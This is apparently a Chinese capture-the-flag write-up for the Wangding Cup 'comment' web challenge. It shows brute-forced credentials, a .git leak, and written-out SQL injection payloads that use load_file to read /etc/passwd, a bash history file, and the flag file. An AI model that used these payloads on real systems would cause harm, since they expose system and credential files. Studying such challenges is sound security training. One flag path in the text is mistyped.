网鼎杯第四场web部分解题过程——comment

0x01 comment

1. 爆破账号

根据提示去猜解爆破即可
user：zhangwei pass：zhangwei666

0x02 .git泄露

1.GitHack

0x03 注入查询

1. 查询当前user

 ', content=(select user()),/*+*/

+*/#注释触发

2.查询pass

    ',content=(select load_file('//etc/passwd')),/*

+/#触发

3.读取www用户的/bin/bash_history

',content=(select load_file('//home/www/.bash_history')),/*

cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start

4.查询.DS_Store文件

',content=(select hex(load_file('//tmp/html/.DS_Store'))),/*

5.十六进制文件读取

flag_8946e1ff1ee3e40f.php

6.读取flag文件

路径:/var/www/html/flag_8946elfflee3e40f.php

',content=(select hex(load_file('//var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

$flag = 'flag{8ad507fc-c986-4099-ab71-08335764c34a}';
?>